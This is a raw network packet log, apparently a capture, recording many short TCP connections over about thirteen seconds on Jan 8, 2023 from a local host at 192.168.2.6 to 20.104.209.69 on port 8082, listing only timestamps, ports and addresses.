Jan 8, 2023 16:06:59.485799074 CET	8082	49704	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:59.485979080 CET	49704	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:59.494285107 CET	49704	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:59.608540058 CET	8082	49704	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:59.629322052 CET	49705	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:59.743716955 CET	8082	49705	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:59.743977070 CET	49705	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:59.744662046 CET	49705	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:59.858720064 CET	8082	49705	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:59.862448931 CET	8082	49705	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:59.862494946 CET	8082	49705	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:59.862644911 CET	49705	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:59.862927914 CET	8082	49705	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:59.863023996 CET	49705	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:59.895697117 CET	49705	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:00.010044098 CET	8082	49705	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:00.040489912 CET	49706	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:00.154721022 CET	8082	49706	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:00.154885054 CET	49706	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:00.160810947 CET	49706	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:00.275506020 CET	8082	49706	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:00.279369116 CET	8082	49706	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:00.279413939 CET	8082	49706	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:00.279429913 CET	8082	49706	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:00.279520988 CET	49706	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:00.279572964 CET	49706	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:00.286947966 CET	49706	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:00.400868893 CET	8082	49706	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:00.443495035 CET	49707	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:00.557710886 CET	8082	49707	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:00.558001041 CET	49707	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:00.558635950 CET	49707	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:00.672859907 CET	8082	49707	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:00.677850008 CET	8082	49707	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:00.677894115 CET	8082	49707	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:00.677910089 CET	8082	49707	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:00.678133965 CET	49707	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:00.685437918 CET	49707	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:00.799890995 CET	8082	49707	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:00.818356037 CET	49708	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:00.932730913 CET	8082	49708	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:00.932974100 CET	49708	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:00.933655977 CET	49708	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:01.047791958 CET	8082	49708	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:01.051064014 CET	8082	49708	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:01.051100016 CET	8082	49708	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:01.051116943 CET	8082	49708	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:01.051234961 CET	49708	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:01.059437037 CET	49708	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:01.175400019 CET	8082	49708	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:01.259161949 CET	49709	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:01.373420954 CET	8082	49709	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:01.373526096 CET	49709	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:01.374138117 CET	49709	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:01.488406897 CET	8082	49709	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:01.492902040 CET	8082	49709	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:01.492944956 CET	8082	49709	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:01.493114948 CET	49709	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:01.493907928 CET	8082	49709	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:01.494031906 CET	49709	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:01.501265049 CET	49709	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:01.615251064 CET	8082	49709	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:01.634200096 CET	49710	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:01.749072075 CET	8082	49710	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:01.749250889 CET	49710	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:01.749710083 CET	49710	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:01.863805056 CET	8082	49710	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:01.867438078 CET	8082	49710	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:01.867494106 CET	8082	49710	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:01.867516041 CET	8082	49710	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:01.867531061 CET	49710	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:01.867569923 CET	49710	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:01.867569923 CET	49710	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:01.874871016 CET	49710	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:01.989033937 CET	8082	49710	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:02.011199951 CET	49711	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:02.125842094 CET	8082	49711	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:02.126053095 CET	49711	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:02.127104998 CET	49711	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:02.241075039 CET	8082	49711	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:02.244460106 CET	8082	49711	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:02.244512081 CET	8082	49711	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:02.244534969 CET	8082	49711	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:02.244609118 CET	49711	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:02.244677067 CET	49711	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:02.279750109 CET	49711	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:02.394618034 CET	8082	49711	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:02.410207987 CET	49712	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:02.525139093 CET	8082	49712	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:02.525235891 CET	49712	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:02.525804043 CET	49712	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:02.639636040 CET	8082	49712	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:02.645510912 CET	8082	49712	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:02.645561934 CET	8082	49712	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:02.645668983 CET	49712	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:02.645675898 CET	8082	49712	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:02.645725012 CET	49712	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:02.653637886 CET	49712	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:02.767760992 CET	8082	49712	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:02.787955999 CET	49713	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:02.902559042 CET	8082	49713	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:02.902817011 CET	49713	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:02.903373003 CET	49713	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:03.017371893 CET	8082	49713	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:03.021806002 CET	8082	49713	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:03.021855116 CET	8082	49713	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:03.021903992 CET	8082	49713	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:03.022140980 CET	49713	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:03.045320988 CET	49713	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:03.159579039 CET	8082	49713	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:03.193547010 CET	49714	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:03.308285952 CET	8082	49714	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:03.308499098 CET	49714	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:03.311574936 CET	49714	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:03.425803900 CET	8082	49714	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:03.430067062 CET	8082	49714	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:03.430108070 CET	8082	49714	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:03.430129051 CET	8082	49714	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:03.430239916 CET	49714	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:03.430290937 CET	49714	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:03.437355995 CET	49714	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:03.551695108 CET	8082	49714	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:03.613250971 CET	49715	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:03.727792025 CET	8082	49715	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:03.728025913 CET	49715	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:03.728517056 CET	49715	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:03.842879057 CET	8082	49715	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:03.848304033 CET	8082	49715	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:03.848354101 CET	8082	49715	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:03.848515987 CET	49715	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:03.848809958 CET	8082	49715	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:03.848906040 CET	49715	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:03.860129118 CET	49715	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:03.974400997 CET	8082	49715	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:03.985693932 CET	49716	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:04.101217031 CET	8082	49716	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:04.101481915 CET	49716	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:04.102211952 CET	49716	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:04.216471910 CET	8082	49716	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:04.220477104 CET	8082	49716	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:04.220505953 CET	8082	49716	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:04.220561981 CET	49716	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:04.220598936 CET	49716	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:04.220674992 CET	8082	49716	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:04.220729113 CET	49716	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:04.232426882 CET	49716	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:04.346352100 CET	8082	49716	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:04.381393909 CET	49717	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:04.497363091 CET	8082	49717	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:04.497632027 CET	49717	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:04.498125076 CET	49717	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:04.611991882 CET	8082	49717	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:04.616636992 CET	8082	49717	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:04.616681099 CET	8082	49717	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:04.616699934 CET	8082	49717	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:04.616818905 CET	49717	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:04.616913080 CET	49717	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:04.629125118 CET	49717	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:04.743433952 CET	8082	49717	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:04.767894030 CET	49718	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:04.882945061 CET	8082	49718	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:04.883347034 CET	49718	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:04.884871960 CET	49718	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:04.998935938 CET	8082	49718	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:05.003269911 CET	8082	49718	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:05.003321886 CET	8082	49718	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:05.003454924 CET	49718	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:05.003582001 CET	8082	49718	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:05.003643036 CET	49718	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:05.023701906 CET	49718	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:05.137989044 CET	8082	49718	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:05.159216881 CET	49719	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:05.273473024 CET	8082	49719	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:05.273700953 CET	49719	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:05.276803017 CET	49719	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:05.390863895 CET	8082	49719	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:05.399175882 CET	8082	49719	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:05.399207115 CET	8082	49719	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:05.399224997 CET	8082	49719	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:05.399327993 CET	49719	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:05.399373055 CET	49719	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:05.407692909 CET	49719	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:05.521882057 CET	8082	49719	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:05.566066027 CET	49720	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:05.680176020 CET	8082	49720	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:05.680265903 CET	49720	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:05.680784941 CET	49720	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:05.794853926 CET	8082	49720	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:05.799984932 CET	8082	49720	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:05.800017118 CET	8082	49720	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:05.800069094 CET	49720	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:05.800124884 CET	49720	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:05.800546885 CET	8082	49720	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:05.800614119 CET	49720	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:05.822495937 CET	49720	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:05.936538935 CET	8082	49720	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:05.958844900 CET	49721	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:06.073626995 CET	8082	49721	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:06.073867083 CET	49721	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:06.076251984 CET	49721	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:06.191420078 CET	8082	49721	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:06.195852995 CET	8082	49721	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:06.195908070 CET	8082	49721	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:06.196089029 CET	49721	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:06.198478937 CET	8082	49721	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:06.198674917 CET	49721	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:06.206803083 CET	49721	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:06.321072102 CET	8082	49721	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:06.356184959 CET	49722	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:06.470777988 CET	8082	49722	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:06.471128941 CET	49722	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:06.471755981 CET	49722	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:06.585829973 CET	8082	49722	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:06.591454029 CET	8082	49722	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:06.591487885 CET	8082	49722	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:06.591553926 CET	49722	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:06.591553926 CET	49722	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:06.591660023 CET	8082	49722	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:06.591705084 CET	49722	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:06.600182056 CET	49722	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:06.714553118 CET	8082	49722	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:06.733319044 CET	49723	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:06.848067999 CET	8082	49723	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:06.848315001 CET	49723	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:06.893079996 CET	49723	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:07.007750034 CET	8082	49723	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:07.011400938 CET	8082	49723	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:07.011455059 CET	8082	49723	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:07.011471987 CET	8082	49723	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:07.011562109 CET	49723	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:07.011604071 CET	49723	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:07.164570093 CET	49723	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:07.278750896 CET	8082	49723	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:07.313064098 CET	49724	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:07.427969933 CET	8082	49724	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:07.428183079 CET	49724	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:07.434942007 CET	49724	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:07.549638033 CET	8082	49724	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:07.556667089 CET	8082	49724	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:07.556709051 CET	8082	49724	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:07.556807995 CET	49724	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:07.556821108 CET	8082	49724	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:07.556857109 CET	49724	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:07.556866884 CET	49724	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:07.610732079 CET	49724	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:07.725166082 CET	8082	49724	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:08.552697897 CET	49725	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:08.667228937 CET	8082	49725	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:08.667371988 CET	49725	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:08.724298954 CET	49725	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:08.839020014 CET	8082	49725	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:08.843214989 CET	8082	49725	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:08.843300104 CET	8082	49725	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:08.843358994 CET	49725	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:08.843358994 CET	49725	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:08.843451977 CET	8082	49725	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:08.843509912 CET	49725	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:08.943464041 CET	49725	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:09.057703972 CET	8082	49725	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:09.078582048 CET	49726	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:09.192890882 CET	8082	49726	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:09.193130970 CET	49726	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:09.942250013 CET	49726	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:10.056593895 CET	8082	49726	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:10.060096025 CET	8082	49726	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:10.060163975 CET	8082	49726	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:10.060280085 CET	49726	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:10.060280085 CET	49726	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:10.060328960 CET	8082	49726	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:10.060381889 CET	49726	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:10.910902977 CET	49726	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:11.024945021 CET	8082	49726	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:11.098403931 CET	49727	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:11.213197947 CET	8082	49727	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:11.213402987 CET	49727	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:11.222239017 CET	49727	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:11.336417913 CET	8082	49727	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:11.339663029 CET	8082	49727	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:11.339704037 CET	8082	49727	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:11.339751959 CET	49727	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:11.339821100 CET	49727	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:11.339829922 CET	8082	49727	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:11.339881897 CET	49727	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:11.346795082 CET	49727	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:11.460877895 CET	8082	49727	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:11.525923014 CET	49728	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:11.641108990 CET	8082	49728	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:11.641235113 CET	49728	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:11.643419027 CET	49728	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:11.758166075 CET	8082	49728	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:11.761812925 CET	8082	49728	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:11.761904001 CET	49728	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:11.762062073 CET	8082	49728	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:11.762084007 CET	8082	49728	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:11.762113094 CET	49728	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:11.762139082 CET	49728	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:11.769340992 CET	49728	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:11.883961916 CET	8082	49728	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:11.899599075 CET	49729	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:12.013791084 CET	8082	49729	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:12.013880968 CET	49729	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:12.014522076 CET	49729	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:12.128478050 CET	8082	49729	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:12.132714033 CET	8082	49729	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:12.132745028 CET	8082	49729	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:12.132776976 CET	49729	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:12.132821083 CET	49729	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:12.133194923 CET	8082	49729	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:12.133245945 CET	49729	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:12.160214901 CET	49729	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:12.274741888 CET	8082	49729	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:12.303515911 CET	49730	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:12.417798996 CET	8082	49730	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:12.417989016 CET	49730	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:12.418984890 CET	49730	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:12.532828093 CET	8082	49730	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:12.537421942 CET	8082	49730	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:12.537453890 CET	8082	49730	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:12.537470102 CET	8082	49730	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:12.537596941 CET	49730	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:12.537659883 CET	49730	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:12.548454046 CET	49730	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:12.662395000 CET	8082	49730	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:12.675266981 CET	49731	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:12.789705038 CET	8082	49731	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:12.789815903 CET	49731	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:12.829780102 CET	49731	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:12.944327116 CET	8082	49731	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:12.948765039 CET	8082	49731	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:12.948797941 CET	8082	49731	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:12.948816061 CET	8082	49731	20.104.209.69	192.168.2.6
Jan 8, 2023 16:07:12.948873997 CET	49731	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:07:12.948923111 CET	49731	8082	192.168.2.6	20.104.209.69
